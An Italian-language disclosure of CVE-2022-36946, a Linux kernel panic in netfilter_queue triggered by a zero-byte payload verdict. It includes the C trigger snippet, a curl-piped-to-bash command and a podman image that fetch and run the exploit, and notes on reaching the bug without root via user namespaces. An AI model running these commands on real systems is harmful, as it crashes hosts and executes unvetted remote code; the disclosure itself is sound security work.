
CVE-2022-36946 panic del kernel linux in netfilter_queue
Segnalato da: Domingo Dirutigliano e Nicola Guerrera
Mentre lavoravamo a firegex, il nostro firewall applicativo per competizioni CTF Attack-Defence, ci siamo imbattuti in alcuni kernel panic.
Questo strano comportamento è stato poi isolato e analizzato, portando alla scoperta di questa potenziale falla di sicurezza nel modulo netfilter, in particolare con nfnetlink.
Il kernel va in panic quando si invia un verdetto nf_queue con un attributo nfta_payload di 0 byte.
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT );
Ciò accade perché lo stack IP/IPv6 estrae l'intestazione IP(v6) dal pacchetto dopo l'input hook.
Quindi, se l'utente tronca il pacchetto al di sotto della dimensione dell'intestazione, questa skb_pull() produrrà uno skb malformato che porta a un panic.
Prova eseguendo curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash anche con un utente non privilegiato (maggiori dettagli sotto).
Usando i namespace di Linux, in particolare i namespace utente (abilitati tramite kernel.unprivileged_userns_clone=1), un utente normale può creare un namespace di rete, permettendogli di usare le stesse primitive del kernel che causano il panic.
Questo ti permetterà di sfruttare la vulnerabilità senza avere i privilegi di root.
Questo scenario non è raro: ad esempio podman usa questa opzione per eseguire i suoi container (rootless), e su alcune distribuzioni questa opzione è abilitata per impostazione predefinita.
Puoi anche provare a eseguire l'exploit senza privilegi di root eseguendo:
podman run -it --cap-add NET_ADMIN ghcr.io/pwnzer0tt1/cve-2022-36946
oppure se vuoi testarlo al volo (sono richiesti solo tar e curl):
curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash
Risolto nel kernel Linux 5.19 vedi diff
Patch originale del team di sicurezza del kernel Linux qui
Ha funzionato al sesto tentativo, quindi abbiamo mantenuto il nome.

https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing